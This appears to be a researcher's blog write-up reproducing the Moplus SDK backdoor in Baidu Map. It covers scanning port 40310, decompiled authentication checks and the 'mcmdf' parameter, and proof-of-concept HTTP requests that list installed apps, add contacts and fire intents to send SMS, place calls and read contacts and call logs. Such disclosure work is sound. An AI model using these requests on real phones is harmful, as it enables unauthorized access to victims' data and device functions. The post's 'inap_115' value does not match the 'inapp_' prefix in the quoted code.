"This is a critical issue, perhaps even worse than Stagefright vulnerability that requires phishing links to web pages or user phone number, which are then used to send malicious MMS. With this security issue, attackers just simply scan the network IP and require no action from the user’s end or any social engineering attacks"
The original vulnerability was discovered by WooYun.og, a vulnerability reporting platform in China.
But, how easy is to exploit that vulnerability? It is time to get my hands dirty :)
I did not find any PoC documented so I am going to try to understand how this work. Looking at the information from TrendMicro, the documentation of the affected component nanohttpd and the source code of one of the affected applications (9897a23f168630fe99e596d60abb5e2a) I am going to try to exploit.
The key points are:
- I know the application they are using (com.baidu.BaiduMap, 8.7.0)
- It runs an HTTP server in some port (TCP/40310)
- I know the 'malicious' functionalities
- There is no authentication (this is setup by the Moplus SDK)
Checking the HTTP server
The app runs a light HTTP server: nanohttpd. Once installed the app I can see straight forward that the port is open:
$ nmap -sV -P0 -p 40310 172.16.42.154
Starting Nmap 6.47 ( http://nmap.org ) at 2015-11-09 08:32 CET
Nmap scan report for 172.16.42.154
Host is up (0.14s latency).
PORT STATE SERVICE VERSION
40310/tcp open tcpwrapped
But if I try to send any HTTP command, I only get an empty directory response.
If I look to the nanohttp documentation I can get an idea how it works.
The HTTP server accepts POST commands as well.
Analysing the source code
The first thing to check is the source code of the application. I am going to focus on the classes which are potentially dangerous following the information from TrendMicro.
The dangerous functions are the following ones:
{
private static final Map a = new HashMap();
private static final String b = SendIntent.class.getPackage().getName() + ".";
private Context c;
static
{
a.put("geolocation", b + "GetLocLiteString");
a.put("getsearchboxinfo", b + "GetSearchboxInfo");
a.put("getapn", b + "GetApn");
a.put("getserviceinfo", b + "GetServiceInfo");
a.put("getpackageinfo", b + "GetPackageInfo");
a.put("sendintent", b + "SendIntent");
a.put("getcuid", b + "GetCuid");
a.put("getlocstring", b + "GetLocString");
a.put("scandownloadfile", b + "ScanDownloadFile");
a.put("addcontactinfo", b + "AddContactInfo");
a.put("getapplist", b + "GetAppList");
a.put("downloadfile", b + "DownloadFile");
a.put("uploadfile", b + "UploadFile");
}
public e(Context paramContext)
{
this.c = paramContext;
}
With Androguard, I can easily see the code of each of them and how each of them works:
Checking the authentication
Looking at the code I can see how the authentication work. In some case it uses a Refered header matching a regex.private boolean a(com.baidu.android.a.a.a parama, com.baidu.android.a.a.b paramb)
{
parama = parama.a("Referer");
if (TextUtils.isEmpty(parama));
while (!Pattern.compile("^http[s]?:\\/\\/[^\\/]+(\\.baidu\\.com|\\.hao123\\.com)(:\\d+)?(\\/.*|)$").matcher(parama).matches())
return false;
return true;
}
In some other cases it is just a 'remote-addr' header with the value 127.0.0.1
public g(a parama, r paramr, InputStream paramInputStream, OutputStream paramOutputStream, InetAddress paramInetAddress)
{
this.b = paramr;
this.d = paramInputStream;
this.c = paramOutputStream;
if ((paramInetAddress.isLoopbackAddress()) || (paramInetAddress.isAnyLocalAddress()));
for (parama = "127.0.0.1"; ; parama = paramInetAddress.getHostAddress().toString())
{
this.j = new HashMap();
this.j.put("remote-addr", parama);
this.j.put("http-client-ip", parama);
return;
}
}
Also, worth to mention that there is also a reference to the code to a parameter 'mcmdf'. This parameter, which needs to be sent in the POST request, have the value 'inap_xxxx' where XXX is the ID of the application in the Android device. In mi case it is 115, so my final value is 'inap_115'
com.baidu.hello.patch.moplus.nebula.b.b v0_13 = ((String) p12.get("mcmdf"));
if ((android.text.TextUtils.isEmpty(v0_13)) || ((android.text.TextUtils.equals(v0_13, "null")) || (!v0_13.startsWith("inapp_")))) {
v0_2 = v3_0;
} else {
Exploiting the app
I am going to try to exploit some of the functionalities as PoC. Looking at the source code, some of them needs additional parameters but other ones no.
To exploit successfully, and as explained previously it is necessary to:
- Setup the Header for authentication
- Setup in the body the 'mcmdf' and 'callback' parameter. This will be the same for all the cases.
- Setup some specific parameters for each kind of function to exploit
PoC 1: checking the apps running
- URL: http://ip:port/getapplist (eg: http://172.16.42.154:40310/getapplist)
- Additional parameters:
- Result: the full list of apps installed in the phone
PoC 2: Information about the app running the nanohttpd
- URL: http://ip:port/getserviceinfo (eg: http://172.16.42.154:40310/getserviceinfo)
- Additional parameters: -
- Result: get information of the specific application running the nanohttpd, in this case com.baidu.BaiduMap)
PoC 2: Information about a specific app installed
This one require an additional parameter. This can be obtained from the source code
- URL: http://ip:port/getpackageinfo (eg: http://172.16.42.154:40310/getpackageinfo)
- Additional parameters
- packagename: name of the package (org.mozilla.firefox)
- Result: get information of the specific application running the nanohttpd, in this case com.baidu.BaiduMap)
PoC 3: Add a contact
This one require an additional parameter. This can be obtained from the source code
- URL: http://ip:port/addcontactinfo (eg: http://172.16.42.154:40310/addcontactinfo)
- Additional parameters
- postada: string with the values to add (eg: [{"name": "Test Blog ","starred":"1"}])
- Result: add a new entry in the contact list
PoC 4: Run an intent to write a SMS
This one require an additional parameter. This can be obtained from the source code
- URL: http://ip:port/sendintent (eg: http://172.16.42.154:40310/sendintent)
- Additional parameters
- intent: string of the intent to run (eg: sms:12345)
- Result: send a SMS to number 12345
PoC 4: Run an intent to make a call
This one require an additional parameter. This can be obtained from the source code
- URL: http://ip:port/sendintent (eg: http://172.16.42.154:40310/sendintent)
- Additional parameters
- intent: string of the intent to run (eg: tel:123)
- Result: make a call to phone 123
PoC 4: Run an intent to list the contact
This one require an additional parameter. This can be obtained from the source code
- URL: http://ip:port/sendintent (eg: http://172.16.42.154:40310/sendintent)
- Additional parameters
- intent: string of the intent to run (eg: content://contacts/people/)
- Result: list the contacts
PoC 5: Run of additional intents
Another examples of intents I tried are, but the are many others :)- "content://call_log/calls" : list the phone calls
- "geo:0,0?z=4&q=restaurantes" : search for some Geo localisation
PoC 7: Get the Geo position
- URL: http://ip:port/sendintent (eg: http://172.16.42.154:40310/sendintent)
- Additional parameters: -
- Result: get the information about the Geolocation
Conclusion
There are other functions with can be exploited, like pulling and pushing files.
Any device connected to a WiFi sharing the same broadcast domain can be a potential a victim. When connecting to Internet through 3G/4G most of providers (at least 4 providers I tried) do not assign a public IP so from Internet the nanohttpd server is not reachable. However, likely any other mobile device assigned within the same 3G/4G IP network private range could reach the nanohttpd server, but I have not tried it myself.